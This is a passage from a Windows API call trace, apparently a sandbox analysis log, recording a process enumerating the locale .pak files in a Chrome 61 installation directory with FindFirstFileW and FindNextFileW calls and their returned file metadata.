ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5190bc94, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x476bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="es.pak", cAlternateFileName="")) returned 1 [0097.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51929154, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3ebe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="et.pak", cAlternateFileName="")) returned 1 [0097.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51948d24, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x651ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa.pak", cAlternateFileName="")) returned 1 [0097.878] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5196d714, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x425ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi.pak", cAlternateFileName="")) returned 1 [0097.878] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51992104, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4884a, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil.pak", cAlternateFileName="")) returned 1 [0097.878] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x519c5554, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4b9a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr.pak", cAlternateFileName="")) returned 1 [0097.878] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x519e2a14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8d4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu.pak", cAlternateFileName="")) returned 1 [0097.878] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a025e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x53398, dwReserved0=0x0, dwReserved1=0x0, cFileName="he.pak", cAlternateFileName="")) returned 1 [0097.878] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a26fd4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9114d, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi.pak", cAlternateFileName="")) returned 1 [0097.878] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a492b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4307f, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr.pak", cAlternateFileName="")) returned 1 [0097.878] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a68e84, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4af4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu.pak", cAlternateFileName="")) returned 1 [0097.879] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a8ff84, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3fca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id.pak", cAlternateFileName="")) returned 1 [0097.879] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ab4974, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x44e38, dwReserved0=0x0, dwReserved1=0x0, cFileName="it.pak", cAlternateFileName="")) returned 1 [0097.879] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ade184, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x54eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja.pak", cAlternateFileName="")) returned 1 [0097.879] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51afb644, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xa2f0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn.pak", cAlternateFileName="")) returned 1 [0097.879] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b18b04, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47baa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko.pak", cAlternateFileName="")) returned 1 [0097.879] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b35fc4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4869b, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt.pak", cAlternateFileName="")) returned 1 [0097.879] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b386d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x48945, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv.pak", cAlternateFileName="")) returned 1 [0097.879] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b3fc04, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xb6502, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml.pak", cAlternateFileName="")) returned 1 [0097.879] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b44a24, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8f98d, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr.pak", cAlternateFileName="")) returned 1 [0097.880] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b49844, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x36184, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms.pak", cAlternateFileName="")) returned 1 [0097.880] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b4e664, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x401f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb.pak", cAlternateFileName="")) returned 1 [0097.880] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b53484, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x440c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl.pak", cAlternateFileName="")) returned 1 [0097.880] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b582a4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x472ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl.pak", cAlternateFileName="")) returned 1 [0098.286] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b5f7d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x45594, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR.pak", cAlternateFileName="")) returned 1 [0098.287] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b61ee4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x46a8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT.pak", cAlternateFileName="")) returned 1 [0098.366] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b69414, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro.pak", cAlternateFileName="")) returned 1 [0098.367] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51c78404, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x70754, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru.pak", cAlternateFileName="")) returned 1 [0098.367] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51c7f934, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4a4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk.pak", cAlternateFileName="")) returned 1 [0098.367] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51cc6604, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x42fc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl.pak", cAlternateFileName="")) returned 1 [0098.367] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d0abc4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6b5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr.pak", cAlternateFileName="")) returned 1 [0098.367] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d16f14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x40eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv.pak", cAlternateFileName="")) returned 1 [0098.367] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d25974, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3c37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw.pak", cAlternateFileName="")) returned 1 [0098.367] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d391f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xa8772, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta.pak", cAlternateFileName="")) returned 1 [0098.368] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d3e014, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9c965, dwReserved0=0x0, dwReserved1=0x0, cFileName="te.pak", cAlternateFileName="")) returned 1 [0098.368] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d51894, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8cbb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="th.pak", cAlternateFileName="")) returned 1 [0098.368] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d566b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x45f47, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.pak", cAlternateFileName="")) returned 1 [0098.368] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d602f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6fff3, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk.pak", cAlternateFileName="")) returned 1 [0098.368] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d76284, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5116b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi.pak", cAlternateFileName="")) returned 1 [0098.368] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dae4f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3ae08, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN.pak", cAlternateFileName="")) returned 1 [0098.368] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51db8134, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3af8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 1 [0098.368] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.369] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0098.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0098.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0098.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0098.369] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales", lpFilePart=0x0) returned 0x45 [0098.369] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4620dd7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0098.370] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4620dd7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.370] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5176a4e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="am.pak", cAlternateFileName="")) returned 1 [0098.371] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5178eed4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x61971, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar.pak", cAlternateFileName="")) returned 1 [0098.371] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, 